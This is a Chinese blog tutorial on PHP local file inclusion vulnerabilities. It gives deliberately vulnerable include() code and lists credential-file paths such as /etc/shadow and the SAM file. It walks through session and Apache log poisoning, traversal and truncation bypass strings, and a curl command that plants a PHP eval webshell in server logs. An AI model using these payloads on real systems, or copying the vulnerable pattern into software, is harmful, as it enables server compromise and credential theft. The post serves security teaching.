文件包含漏洞

文件包含


简介

开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

作用

将文件以脚本的格式执行(根据当前脚本类型)

文件包含函数
PHP中文件包含函数有以下四种

require()
require_once()
include()
include_once()

php.ini配置文件allow_url_fopen=off既不可以包含远程文件。php4存在远程&本地,php5仅存在本地包含

allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据 allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

漏洞成因
在这里插入图片描述
在这里插入图片描述
将phpinfo.php文件后缀改为txt,jpg后进行访问,依然可以解析

可以看出,include()函数并不在意被包含的文件是什么类型,只要有PHP代码。都会被解析出来,利用这个特性,我们可以读取一些含敏感信息的文件。

还能够打开并包含本地文件的漏洞,我们称之为本地文件包含漏洞(LFI)。

测试代码如下

<?php
      $filename = $_GET['filename'];
	  include($filename);
?>

在这里插入图片描述
利用该代码,我们可以读取一些系统本地的敏感信息。
例如C:\Windows\system.ini文件。
在这里插入图片描述


本地文件包含漏洞
1.无限制本地文件包含漏洞
常见的敏感信息路径:

Windows:

  • c:\boot.ini // 查看系统版本
  • c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
  • c:\windows\repair\sam // 存储Windows系统初次安装的密码
  • c:\ProgramFiles\mysql\my.ini // MySQL配置
  • c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
  • c:\windows\php.ini // php 配置信息

Linux/Unix:

  • /etc/passwd // 账户信息
  • /etc/shadow // 账户密码文件
  • /usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
  • /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
  • /usr/local/app/php5/lib/php.ini // PHP相关配置
  • /etc/httpd/conf/httpd.conf // Apache配置文件
  • /etc/my.conf // mysql 配置文件

2.session文件包含漏洞
利用条件:session的存储位置可以获取。
session的工作原理

(1)首先使用session_start()函数进行初始换。
(2)当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。
(3)当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用

session_start()简介

(1)读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123。

(2)若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以在php.ini中设置)读取SESSabc123(默认是这种命名方式)文件,将字符装在入SESSION变量中;

(3)若没有读取到PHPSESSID这个COOKIE,也会创建SESSION超全局变量注册session变量。同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。

  1. 1、 通过phpinfo的信息可以获得session的存储位置。
    在这里插入图片描述
    session常见存储路径

/var/lib/php/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

2.2、通过猜测默认的session存放位置进行尝试。
例如:通常Linux下Session默认存储在/var/lib/php/session目录下。session中的内容可以被控制,传入恶意代码。

<?php 
session_start(); 
$ctfs=$_GET['ctfs']; 
$_SESSION["username"]=$ctfs; 
?>

此代码的$ctfs变量可以通过GET型ctfs参数进行传入,PHP代码会将获取到的GET型ctfs变量的值存入到Session中,可以利用GET型ctfs参数将恶意代码写入到Session文件中,然后再利用文件包含漏洞包含此Session进行利用。
session文件名的构造是sess_ + sessionid
在这里插入图片描述
sessionid在cookie中可以查看
在这里插入图片描述

在这里插入图片描述
可以看到,这里可以传入可控的session,将<?php phpinfo(); ?>写入session文件。
靶场训练:未搭建好,有知道如何在centos8上搭建phpstudy的友友踢我

3、有限制本地文件包含漏洞绕过
测试代码

<?php 
$filename = $_GET['filename']; 
include($filename . ".html"); 
?>

目录遍历
使用…/…/来返回上一目录,被称为目录遍历(path traversal)。
编码绕过:
二次编码
容器/服务器的编码方式

…/
…%c0%af
%c0%ae%c0%ae/
注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
…\
…%c1%9c

%00截断
条件:magic_quotes_gpc=Off php版本<5.3.4
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
路径长度截断
条件:windows OS,点号需要长于256;linux OS 长于4096

Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。

windows:

http://127.0.0.1/include.php?filename=phpinfo.php/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

在这里插入图片描述
句号截断
windows:

http://127.0.0.1/include.php?filename=phpinfo.php.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

在这里插入图片描述
4.包含Apache日志文件

WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

利用条件

  1. 对日志文件可读
  2. 知道日志文件存储目录

注意

一般情况下日志存储目录会被修改,需要读取服务器配置文件(httpd.conf,nginx,conf…)或者根据phpinfo()中的信息来得知。
日志记录的信息都可以被调整,比如记录报错的等级,或者内容的格式。

Apache运行后一般默认会生成两个日志文件

Windows下是 access.log (访问日志)和 error.log (错误日志)。
Linux下是 access_log 和 error_log ,访问日志文件记录了客户端的每次请求和服务器响应的相关信 息。

日志默认路径

(1) apache+Linux日志默认路径 /etc/httpd/logs/access_log
或者/var/log/httpd/access_log
(2) apache+win2003日志默认路径 D:\xampp\apache\logs\access.log D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件 C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件 %SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件 日志文件在用户安装目录logs目录下 以我的安装路径为例/usr/local/nginx, 那我的日志目录就是在/usr/local/nginx/logs里

web中间件默认配置

(1) apache+linux 默认配置文件 /etc/httpd/conf/httpd.conf
或者index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件 C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件 C:\Windows\System32\inetsrv\config\applicationHost.config

curl 构造一句话写入服务日志文件

构造语句: D:\curl>curl -v “http://127.0.0.1/php/1.php?page=<?php @eval($_POST\ [123\]);?>”?page=<?php @eval($_POST\[123\]);?>"

curl构造一句话时,需要注意两点:

1)请求的资源对象,需要被双引号包含,不然会报错;
2) php一句话中的 综括号[ ]curl是特殊符号,需要进行转义 [ ],不然curl使用时也会报错;

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值